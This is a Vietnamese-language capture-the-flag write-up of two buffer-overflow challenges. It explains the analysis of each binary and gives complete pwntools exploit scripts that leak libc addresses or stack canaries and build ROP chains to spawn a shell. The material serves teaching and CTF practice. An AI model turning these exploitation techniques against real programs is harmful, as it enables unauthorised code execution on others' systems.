# (writeup) chall giải trí 👨‍💻 ## bof4chall1 ``author @Johnathan Huu Tri`` - check file + checksec ![](https://i.imgur.com/lRXDvZC.png) - check ida ![](https://i.imgur.com/7epPTW8.png) - nhìn sơ qua ida ta thấy sẽ có 3 option 1 -> 3 - ở option 1 sẽ có BOF ngay lần nhập URL > song(buf) khai báo 8*6 = 48, nhập 36 -> k có BOF > URL(v6) khai báo 8*10 = 80, nhập 160 -> có BOF - option 2 sẽ in ra %s (chuỗi) - option 3 sẽ thoát chương trình - bài này k chèn shellcode được, cũng như k có hàm get_shell, v ta ROPchain thôi - ở lần nhập URL ta có thể leak dc libc ![](https://i.imgur.com/qiW5XlM.png) >offset = 88 - nhưng khi payload mình leak dc ròi thì lại k thấy dữ liệu nào ra - chọn option 3 thì end chương trình nhưng đồng thời có xuất hiện vài byte kì lạ - vậy lần nhập thứ 2 ta leak libc và thực thi lại hàm main, chọn option 3 để quay lại từ đầu - lí do leak libc là các thanh ghi dùng để thực hiện ROPchain hơi khoai (nhất là thanh ghi rax) - rồi lần nhập tiếp theo cũng từ URL mà chèn ROP mình vào thôi - chèn xong option 3 để ``ret`` vào ROP ![](https://i.imgur.com/c0BY5qS.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./bof4chall1_patched',checksec=False) libc = ELF('./libc.so.6',checksec=False) p = process(exe.path) # gdb.attach(p, gdbscript=''' # b*main+388 # b*main+293 # b*main+394 # c # ''') pop_rdi_exe = 0x0000000000401463 p.sendlineafter(b'> ', b'1') payload = b'A' p.sendafter(b'song: ',payload) #input() payload = b'A'*88 payload += p64(pop_rdi_exe) + p64(exe.got['puts']) payload += p64(exe.plt['puts']) payload += p64(exe.sym['main']) p.sendafter(b'URL: ',payload) p.sendlineafter(b'> ',b'3') libc_leak = u64(p.recv(6) + b'\0\0') log.info("libc leak: " + hex(libc_leak)) libc.address = libc_leak - libc.sym['puts'] log.info("libc base: " + hex(libc.address)) #input() p.sendlineafter(b'> ', b'1') payload = b'A' p.sendafter(b'song: ',payload) pop_rdi = pop_rdi_exe pop_rsi = 0x00000000004011d6 pop_rdx = 0x00000000004011d8 pop_rax = libc.address + 0x0000000000045eb0 syscall = 0x00000000004011dd payload = b'A'*88 payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) payload += p64(pop_rsi) + p64(0) payload += p64(pop_rdx) + p64(0) payload += p64(pop_rax) + p64(0x3b) payload += p64(syscall) p.sendafter(b'URL: ',payload) p.sendlineafter(b'> ',b'3') p.interactive() ``` ___ ## bof4chall2 `` author @Chino Kafuu`` - check file + checksec ![](https://i.imgur.com/8YUlkIz.png) - check ida ![](https://i.imgur.com/4NhJQxp.png) - hàm ``main`` có mỗi func ``vuln`` - trong ``vuln`` ta có 3 lần nhập - hướng đi cũng ROPchain nhưng lần này có đầy đủ thanh ghi - vì có canary nên ta sẽ leak canary ra ![](https://i.imgur.com/S3H006Y.png) - biến **buf** là [rbp-39h] nên sẽ đi từ 1 byte ngay chỗ tô trắng đến làm lố 1 byte canary là 1 + 48 + 1 = 50 - đề sẽ ``puts(s)`` tức là in ra từ sau con **buf** nên ta bỏ đi 1 byte của buf còn p.recvuntil(b'A'*49) - ngoài ra ngay $rbp có luôn stack ![](https://i.imgur.com/VKOGMf3.png) - vì ở lần nhập thứ 2 ta cần đến nó nên leak stack luôn - lần nhập thứ 2 ![](https://i.imgur.com/U7q01fM.png) - ở đây ta thấy sau @rsi lại là 1 canary rất đáng ngờ, sau khi kiểm tra hàm ``vuln`` thì thấy ![](https://i.imgur.com/KNDgDhK.png) - ``stack_chk_fail`` tận 2 lần, đinh ninh là nó sẽ check canary 2 chỗ (1 cái là sau $rsi và 1 cái là trước $rbp) - ngoài ra do leak libc hơi khó nên là sẽ truyền tham số chuỗi '/bin/sh\0' - ta truyền ngay sau cái canary thứ 1 - và 8 byte đầu sẽ truyền stack trỏ đến chuỗi '/bin/sh\0' đó > p/d 0x007fffffffdd70 - 0x007fffffffdd40 > 48 - vậy thứ tự payload ta là ``` stack trỏ /bin/sh\0 canary padding 16 canary padding 8 saved rbp ROP ( với pop_rdi là stack trỏ đến /bin/sh\0) ``` - lần nhập thứ 3 thì ta k cần thiết nhiều, truyền cho có thôi > payload = b'A' - thì kiểm tra đến ROP của mình, thấy sau khi ``pop rdi`` đến ``ret`` thì dữ liệu vào lúc ấy là 'Abin/sh' - tức là lần nhập thứ 3 dữ liệu mình truyền 'A' lại bị ghi đè lên /bin/sh\0 - z ta chỉ cần ghi đè 1 lần nữa '/bin/sh\0' thôi =)))) ![](https://i.imgur.com/ZGsx6jm.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./bof4chall2',checksec=False) p = process(exe.path) # gdb.attach(p, gdbscript=''' # b*vuln+55 # b*vuln+60 # b*vuln+123 # b*vuln+157 # b*vuln+178 # b*vuln+198 # b*main+34 # c # ''') # input() pop_rdi = 0x00000000004013b3 pop_rsi_r15 = 0x00000000004013b1 pop_rdx = 0x00000000004011f6 pop_rax = 0x00000000004011fa syscall = 0x00000000004011f8 payload = b'A'*50 p.sendafter(b'name ?\n',payload) p.recvuntil(b'A'*49) canary_leak = u64(b'\0' + p.recv(7)) log.info("canary leak: " + hex(canary_leak)) stack_leak = u64(p.recvline()[:-1] + b'\0\0') log.info("stack leak: " + hex(stack_leak)) cana1 = stack_leak - 48 payload = p64(cana1) payload += p64(canary_leak) payload += b'/bin/sh\0' payload += b'A'*16 payload += p64(canary_leak) payload += b'A'*8 payload += p64(pop_rdi) + p64(cana1) payload += p64(pop_rsi_r15) + p64(0) + p64(0) payload += p64(pop_rdx) + p64(0) payload += p64(pop_rax) + p64(0x3b) payload += p64(syscall) p.sendafter(b'rop ?\n',payload) payload = b'/bin/sh\0' p.sendafter(b'enabled?\n',payload) p.interactive() ```